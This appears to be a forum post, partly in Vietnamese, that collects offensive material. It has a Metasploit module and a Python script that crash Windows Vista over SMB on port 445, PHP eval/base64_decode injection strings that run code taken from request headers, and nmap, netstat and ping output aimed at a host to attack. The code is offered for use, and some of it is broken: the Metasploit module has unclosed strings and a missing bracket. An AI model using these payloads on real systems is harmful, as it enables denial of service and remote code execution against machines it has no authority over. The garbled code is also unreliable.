[img] link đến ảnh [/img]

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary:: Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Vista SMB 0-day DoS
'Description' => %q{
This module exploits an "unknown" vulnerability in the SMB service on windows. (port 445) Ported by MaXe <a href="mailto:security@intern0t.net">security@intern0t.net</a>
},
'Author' => [ 'MaXe, credits to: Laurent Gaffié' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'url', 'http://pentestit.com/2009/09/08/windows-vista-smb-remote-request-day' ],
],
'DisclosureDate' => 'Sep 08 2009
register_options(
[
Opt::RPORT(445),
],
self.class)
end
def run
connect
buf1 = "\x00\x00\x00\x90"
buf2 = "\xff\x53\x4d\x42"
buf3 = "\x72\x00\x00\x00"
buf4 = "\x00\x18\x53\xc8"
buf5 = "\x00\x26"
dos = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
\x30\x30\x32\x00"
sploit = buf1
sploit << buf2
sploit << buf3
sploit << buf4
sploit << buf5
sploit << dos
sock.put(sploit)
disconnect
end
end

nmap --script-updatedb

r00t@holiganvn
tarting Nmap 5.00 ( http://nmap.org ) at 2009-09-06 14:14 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers
Interesting ports on 192.168.41.4:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
MAC Address: 08:00:27:B5:C1:E9 (Cadmus Computer Systems)
Service Info: OS: Windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds

nmap -p21 --script= -host muốn tấn công-

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECcode%5D))%7D%7D|.+)&%

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECcode%5D))%7D%7D|.+)&%

netstat -a

Active Connections
Proto Local Address Foreign Address State
TCP franck-a:0 0.0.0.0:0 listENiNG
TCP franck-a:1091 0.0.0.0:0 listENiNG
TCP franck-a:1090 server5.syd.www.ozemail.net:80 CLOSE_WAiT
TCP franck-a:1099 p3-max35.auck.ihug.co.nz:1054 ESTABLiSHED

Ping p3-max35.auck.ihug.co.nz :1054 ESTABLiSHED

Pinging p3-max35.auck.ihug.co.nz [209.76.151.67] with 32 bytes of data:
Reply from 209.76.151.67: bytes=32 time=1281ms TTL=39
Request timed out.
Reply from 209.76.151.67: bytes=32 time=1185ms TTL=39
Request timed out.
Ping statistics for 209.76.151.67:
Packets: Sent = 4, Received = 2, Lost = 2 (50% loss),
Approximate round trIP times in milli-seconds:
Minimum = 1185ms, Maximum = 1281ms, Average = 616ms